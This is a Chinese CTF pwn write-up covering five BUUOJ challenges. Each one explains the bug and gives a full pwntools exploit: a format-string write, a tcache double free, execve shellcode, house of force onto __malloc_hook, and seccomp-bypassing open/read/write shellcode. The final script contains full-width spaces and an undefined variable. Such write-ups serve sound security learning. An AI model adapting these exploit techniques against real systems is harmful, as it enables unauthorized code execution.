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96 mrctf2020_easy_equation
保护

格式化字符串漏洞，修改那个judge的值，满足式子，来拿到shell。

先计算一下那个judge需要修改成2

然后计算偏移。
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https://blog.csdn.net/yongbaoii/category_10478263.html
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from pwn import *
context.log_level='debug'

r = remote("node3.buuoj.cn",25108)

judge = 0x060105C

payload = "BB%9$nAAA"+p64(judge)

r.sendline(payload)
r.interactive()

97 ciscn_2019_final_2
保护

开了箱子。

菜单堆。



详解dup()与dup2()

所以这里说半天就是把flag的fd指针改为666.

add

https://blog.csdn.net/tiandc/article/details/81489447


只能申请0x20和0x10大小的chunk。



结构也简单。

这结构挺有意思的。



remove

没有清理指针，但是设置了bool。但是设置的bool
其实有个问题，因为int的指针跟short的指针是分开的，所以我们还是可以去制造double free。

show

平平无奇输出函数。



leave and exit

注意到是ubuntu18.04.所以我们需要注意tcache机制。

那么我们的整体思路是这样的。

首先我们利用这个题唯一的一个漏洞，uaf，来制造double free。这个漏洞还不是直接的uaf，它设置了一个bool来判断是否释
放，但是两种类型的chunk是一个bool，所以我们只需要**“申请这个，释放那个”**，这样来制造double free。

制造double free之后用来输出地址，输出堆的地址。

add(1,0x30)
remove(1)
add(2,0x20)
add(2,0x20)
add(2,0x20)
add(2,0x20)
remove(2)
add(1,0x30)
remove(2)
addr_chunk0_prev_size = show(2) - 0xa0

print hex(addr_chunk0_prev_size)

输出了的地址，用于我们制造double free，来申请到第一个chunk。



add(2, addr_chunk0_prev_size)
add(2, addr_chunk0_prev_size)
add(2, 0x91)

申请到第一个chunk能干啥，我们可以改变它的size，然后多次释放它，它就会进入unsorted bin。从而我们用来泄露地址。

for i in range(0, 7):
    remove(1)
    add(2, 0x20)
remove(1)
 
malloc_hook = (show(1) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
addr__IO_2_1_stdin__fileno = libc_base + libc.sym['_IO_2_1_stdin_'] + 0x70

print hex(libc_base)
print hex(addr__IO_2_1_stdin__fileno)

泄露地址我们用来干什么呢？看上面的代码里面，我们利用了一个地址。

libc.sym['_IO_2_1_stdin_'] + 0x70

这是个啥呢？

这是那个chain区域。

chain这个指针是来干嘛的？
linux里面FILE结构体，是用单向链表连接在一起的。



这样做的目的是为了我们能够使用前面给的那个666的条件。

那我们现在地址也有了，想着就是怎么通过tcache 的double free 将那一块申请过来写上666，然后最后就输出一下就行。

我们先通过刚刚释放地址时候的情形，再次把那个chunk的fd位写上我们要攻击的地址。

add(1, addr__IO_2_1_stdin__fileno)

再次构造double free。

add(1, 0x30) 
remove(1)
add(2, 0x20)
remove(1)

最后我们就一直申请

chunk，从图中的3290，到3260，再到最后的fa70，写上我们的666，最后输出flag。

# -*- coding: utf-8 -*-
from pwn import *



#r = remote("node3.buuoj.cn", 28583)
r = process('./97')
elf = ELF('./97')
#libc = ELF('./64/libc-2.27.so')
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.
6")
context.log_level = "debug"

def add(add_type, add_num):
    r.sendlineafter('which command?\n> ', '1')
    r.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(add_type))
    r.sendafter('your inode number:', str(add_num))
 
def remove(remove_type):
    r.sendlineafter('which command?\n> ', '2')
    r.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(remove_type))
 
def show(show_type):
    r.sendlineafter('which command?\n> ', '3')
    r.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(show_type))
    if show_type == 1:
        r.recvuntil('your int type inode number :')
    elif show_type == 2:
        r.recvuntil('your short type inode number :')
    return int(r.recvuntil('\n'))
#这个地方就是没有去回车的话int这个方法会帮咱自动处理掉．
 
add(1,0x30)
remove(1)
add(2,0x20)
add(2,0x20)
add(2,0x20)
add(2,0x20)
remove(2)
add(1,0x30)
remove(2)
addr_chunk0_prev_size = show(2) - 0xa0

print hex(addr_chunk0_prev_size)

add(2, addr_chunk0_prev_size)
add(2, addr_chunk0_prev_size)
add(2, 0x91)
 
for i in range(0, 7):
    remove(1)
    add(2, 0x20)
remove(1)
 
malloc_hook = (show(1) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
addr__IO_2_1_stdin__fileno = libc_base + libc.sym['_IO_2_1_stdin_'] + 0x70

print hex(libc_base)
print hex(addr__IO_2_1_stdin__fileno)

gdb.attach(r)

add(1, addr__IO_2_1_stdin__fileno)
add(1, 0x30) 



add(1, 0x30) 
remove(1)
add(2, 0x20)
remove(1)
addr_chunk0_fd = show(1) - 0x30
add(1, addr_chunk0_fd)
add(1, addr_chunk0_fd)
add(1, 111)
add(1, 666)
 
r.sendlineafter('which command?\n> ', '4')
r.recvuntil('your message :')
 
r.interactive()

98 ciscn_2019_s_9
保护

给了

hint。



看到没有开NX，所以肯定要写shellcode。
那其实我们可以直接将shellcode写到栈上，然后jum 到esp，从而执行shellcode，但是问题就是如果用pwntools写的话栈空间不
够，所以只能自己手撸。

shellcode ='''
xor eax,eax             #eax置0
xor edx,edx    #edx置0
push edx    #将0入栈，标记了”/bin/sh”的结尾
push 0x68732f2f         #传递”/sh”，为了4字节对齐，使用//sh，这在execve()中等同于/sh
push 0x6e69622f         #传递“/bin”
mov ebx,esp             #此时esp指向了”/bin/sh”,通过esp将该字符串的值传递给ebx
xor ecx,ecx
mov al,0xB              #eax置为execve函数的中断号
int 0x80                #调用软中断
'''
shellcode=asm（shellcode）

这个也是我在网上嫖过来的一段很短的shellcode了。长度刚好只有23，是符合要求的。

那么我们写好shellcode之后，怎样才能去调用它呢。
当程序返回的时候，esp会返回到我们写的返回地址那里，去pop_rdi，我们可以去利用那个jmp，让eip跳到esp，此时esp已经
又向上走了4个字节，所以就是可以直接去执行我们写在返回地址后面的汇编代码，那么这个汇编代码是干嘛的，就是用来去执
行我们的shellcode，首先将栈抬起来，然后call esp，去执行shellcode。



from pwn import *

r = remote('node3.buuoj.cn',27725)
context(log_level='debug',arch='i386',os='linux')

jump_esp=0x8048554

shellcode='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80
'''

shellcode=asm(shellcode)

payload=shellcode.ljust(0x24,'\x00')+p32(jump_esp)

payload+=asm("sub esp,40;call esp")

r.sendline(payload)
r.interactive()

99 gyctf_2020_force
保护



保护全绿，功能就两个，这种功能少的反而是非常难的。

其实看它那题目的名字，就猜到是house of force了……



add

平平无奇，结构简单的我不想画图。

size大小可以随便输入。
read这里可以溢出。
还会把你申请的chunk地址给你。

puts

puts……是假的吧……

条件就个栈溢出，功能……可以说没有吧……

因为功能实在太少了。而且漏洞又比较符合house of force。

House Of Force 是一种堆利用方法，但是并不是说 House Of Force 必须得基于堆漏洞来进行利用。如果一个堆 (heap based) 漏洞想要通
过 House Of Force 方法进行利用，需要以下条件：
能够以溢出等方式控制到 top chunk 的 size 域
能够自由地控制堆分配尺寸的大小

漏洞利用

第一步是泄露libc地址，当我们申请一个极大Chunk时，程序会调用mmap进行内存分配，分配的内存跟libc挨着，所以它给了我
们申请的地址之后减去合适的差值就可以得到libc的地址。

第二步需要把top chunk大小改为0xFFFFFFFFFFFFFFFF，这样我们才能不限制地进行分配，这是因为malloc时会进行如下检查



(unsigned long) (size) >= (unsigned long) (nb + MINSIZE)

如果我们把top chunk大小改为0xFFFFFFFFFFFFFFFF，进行比较的时候会按照无符号数进行比较，就一定能通过检查，在进
行此次分配时，我们还能顺便得到heap chunk的地址，并计算top chunk地址，之后计算malloc_hook与top chunk的偏移,记为
offset

第三步需要分配offset -0x33（经过调试得到，当然因为对齐的原因不一定要0x33，0x37-0x30范围都可以，我们的目的是要把
top_chunk搞到malloc_hook-0x20）的大小，此时我们得到的地址为__malloc_hook-0x10,这是因为本题中one_gadget需要利用
realloc对栈进行调整

from pwn import *

r = remote("node3.buuoj.cn", 28429)

context.log_level = 'debug'

elf = ELF("./99")
libc = ELF('./64/libc-2.23.so')

one_gadget = 0x4526a

def add(size, content):
 r.recvuntil("2:puts\n")
 r.sendline('1')
 r.recvuntil("size\n")
 r.sendline(str(size))
 r.recvuntil("bin addr ")
 addr = int(r.recvuntil('\n').strip(), 16)
 r.recvuntil("content\n")
 r.send(content)
 return addr

def show(index):
 r.recvuntil("2:puts\n")
 r.sendline('2')

libc.address = add(0x200000, 'chunk0\n') + 0x200ff0
heap_addr = add(0x18, 'a'*0x10+p64(0)+p64(0xFFFFFFFFFFFFFFFF))
top = heap_addr + 0x10
malloc_hook = libc.sym['__malloc_hook']
one_gadget = one_gadget + libc.address
realloc = libc.sym["__libc_realloc"]
offset = malloc_hook - top
system = libc.sym['system']
bin_sh = libc.search('/bin/sh').next()

add(offset-0x30, 'aaa\n')
add(0x10, 'a'*8+p64(one_gadget)+p64(realloc+0x10))
r.recvuntil("2:puts\n")
r.sendline('1')
r.recvuntil("size\n")
r.sendline(str(20))

r.interactive()

100 [极客大挑战极客大挑战 2019]Not Bad



保护

进来之后沙箱警告。

然后又是让我自己去写shellcode。

程序逻辑很简单，存在0x18字节溢出，看是否能进行栈迁移，目前可控输入只有buf，但是buf只有0x20大小不够rop，所以尝试
别的方法。



我们按照之前简单的思

路，考虑将shellcode写在栈上，然后跳过去执行。

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = "debug"

#r = remote('node3.buuoj.cn',29796)
r = process("./100")
jmp_rsp = 0x400a01

shellcode ='''
xor rsi,rsi   
push rsi    
mov rdi,0x68732f2f6e69622f  
push rdi
push rsp  
pop rdi    
mov al,59   
cdq     
syscall
'''
payload = asm(shellcode, arch = 'amd64', os = 'linux')
payload = payload.ljust(40, '\x00')
payload += p64(jmp_rsp)
payload += asm("sub rsp,48;call rsp", arch = 'amd64', os = 'linux')
#这个后面一定要跟arch os  不然默认的会是i386
print payload

gdb.attach(r)

r.sendlineafter("Easy shellcode, have fun!\n", payload)

r.interactive()

但是其实我们的这个是有问题的，问题就出在沙箱只给我们用orw一套。不能syscall。
但是buf的空间明显不够我们去手撸一整套，要想别的办法。

首先考虑那么往哪里写？

注意到



void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offsize)
mmap()用来将某个文件内容映射到内存中，对该内存区域的存取即是直接对该文件内容的读写

prot位6的话是0110，是可写可执行。
flags位34的话00100010。

fd的话 参数fd：要映射到内存中的文件描述符。如果使用匿名内存映射时，即flags中设置了MAP_ANONYMOUS，fd设为-1。有
些系统不支持匿名内存映射，则可以使用fopen打开/dev/zero文件，然后对该文件进行映射，可以同样达到匿名内存映射的效
果。

那么我们完全可以写在这里，就解决了写shellcode的问题，我们最后确定利用方式，利用jmp rsp跳到栈上执行代码，然后在
mmap那块把shellcode写上，再跳过去，执行。



# -*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'

context.arch='amd64'
context.os = "linux"

elf = ELF('./100')

r = remote('node3.buuoj.cn',27680)

jmp_rsp = 0x400A01
mmap = 0x123000

orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap, 0x50)
orw_payload += shellcraft.write(1, mmap,0x50)
#这种写法要记好了．

payload　=　asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload　=　payload.ljust(0x28,b'a')
payload　+=　p64(jmp_esp)+asm('sub rsp,0x30;jmp rsp')
r.recvuntil('have fun!')
r.sendline(payload)

shellcode = asm(orw_payload)

r.sendline(shellcode)
r.interactive()
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